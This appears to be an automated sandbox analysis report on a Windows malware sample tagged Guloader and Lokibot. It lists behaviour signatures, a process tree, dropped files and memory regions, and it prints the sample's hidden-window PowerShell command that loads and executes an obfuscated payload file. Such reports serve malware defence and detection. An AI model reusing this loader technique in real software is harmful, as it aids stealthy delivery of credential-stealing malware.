Analysis
- max time kernel
143s - max time network
148s - platform
windows10-2004_x64 - resource
win10v2004-20240709-en - resource tags
- submitted
17/07/2024, 16:04
General
- Target MalwareBazaar.exe
- Size 549KB
- Sample240717-th713a1fnd
- SHA256 c293bf33914dcab819681869283b39b23b45fb608d42fa3a26562d301eab3746
Malware Config
Signatures
- Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
- Lokibot
Lokibot is a Password and CryptoCoin Wallet Stealer.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Loads dropped DLL 1 IoCs
- Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
- Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
- Suspicious use of NtCreateThreadExHideFromDebugger 2 IoCs
- Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
- Suspicious use of SetThreadContext 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- NSIS installer 2 IoCs
- Suspicious behavior: EnumeratesProcesses 9 IoCs
- Suspicious behavior: MapViewOfSection 1 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 8 IoCs
- outlook_office_path 1 IoCs
- outlook_win_path 1 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\MalwareBazaar.exe"C:\Users\Admin\AppData\Local\Temp\MalwareBazaar.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -windowstyle hidden "$Nervures=Get-Content 'C:\Users\Admin\AppData\Local\Bagtes\zygomata.Coo';$Omfangsbedmmelses64=$Nervures.SubString(24976,3);.$Omfangsbedmmelses64($Nervures)"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\Valmuer.exe"C:\Users\Admin\AppData\Local\Temp\Valmuer.exe"3⤵
- Loads dropped DLL
- Accesses Microsoft Outlook profiles
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
- outlook_win_path
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
Papize.Qua252
zygomata.Coo
Valmuer.exe
__PSScriptPolicyTest_lshfwmhq.ax0.ps1
0f5007522459c86e95ffcc62f32308f1_26cbe02e-c538-45f2-be7b-5c1ca47e55b2
0f5007522459c86e95ffcc62f32308f1_26cbe02e-c538-45f2-be7b-5c1ca47e55b2
memory/984-22-0x00000000061B0000-0x0000000006504000-memory.dmp
memory/984-12-0x00000000743D0000-0x0000000074B80000-memory.dmp
memory/984-15-0x0000000006140000-0x00000000061A6000-memory.dmp
memory/984-8-0x00000000743DE000-0x00000000743DF000-memory.dmp
memory/984-26-0x00000000067C0000-0x00000000067DE000-memory.dmp
memory/984-27-0x0000000006860000-0x00000000068AC000-memory.dmp
memory/984-30-0x00000000077A0000-0x00000000077C2000-memory.dmp
memory/984-31-0x0000000007D80000-0x0000000008324000-memory.dmp
memory/984-29-0x00000000076A0000-0x00000000076BA000-memory.dmp
memory/984-13-0x00000000058E0000-0x0000000005902000-memory.dmp
memory/984-28-0x0000000007700000-0x0000000007796000-memory.dmp
memory/984-33-0x00000000089B0000-0x000000000902A000-memory.dmp
memory/984-35-0x00000000743D0000-0x0000000074B80000-memory.dmp
memory/984-36-0x00000000743D0000-0x0000000074B80000-memory.dmp
memory/984-37-0x00000000743D0000-0x0000000074B80000-memory.dmp
memory/984-14-0x00000000060D0000-0x0000000006136000-memory.dmp
memory/984-39-0x00000000743D0000-0x0000000074B80000-memory.dmp
memory/984-40-0x0000000009030000-0x000000000A0D5000-memory.dmp
memory/984-41-0x00000000743D0000-0x0000000074B80000-memory.dmp
memory/984-43-0x00000000743DE000-0x00000000743DF000-memory.dmp
memory/984-44-0x00000000743D0000-0x0000000074B80000-memory.dmp
memory/984-10-0x0000000005970000-0x0000000005F98000-memory.dmp
memory/984-9-0x0000000003200000-0x0000000003236000-memory.dmp
memory/984-11-0x00000000743D0000-0x0000000074B80000-memory.dmp
memory/984-48-0x00000000743D0000-0x0000000074B80000-memory.dmp
memory/984-49-0x00000000743D0000-0x0000000074B80000-memory.dmp
memory/984-63-0x00000000743D0000-0x0000000074B80000-memory.dmp
memory/984-65-0x00000000743D0000-0x0000000074B80000-memory.dmp
memory/4832-64-0x0000000001660000-0x0000000002705000-memory.dmp
memory/4832-47-0x0000000001660000-0x0000000002705000-memory.dmp
memory/4832-46-0x0000000000400000-0x0000000001654000-memory.dmp
memory/4832-87-0x0000000001660000-0x0000000002705000-memory.dmp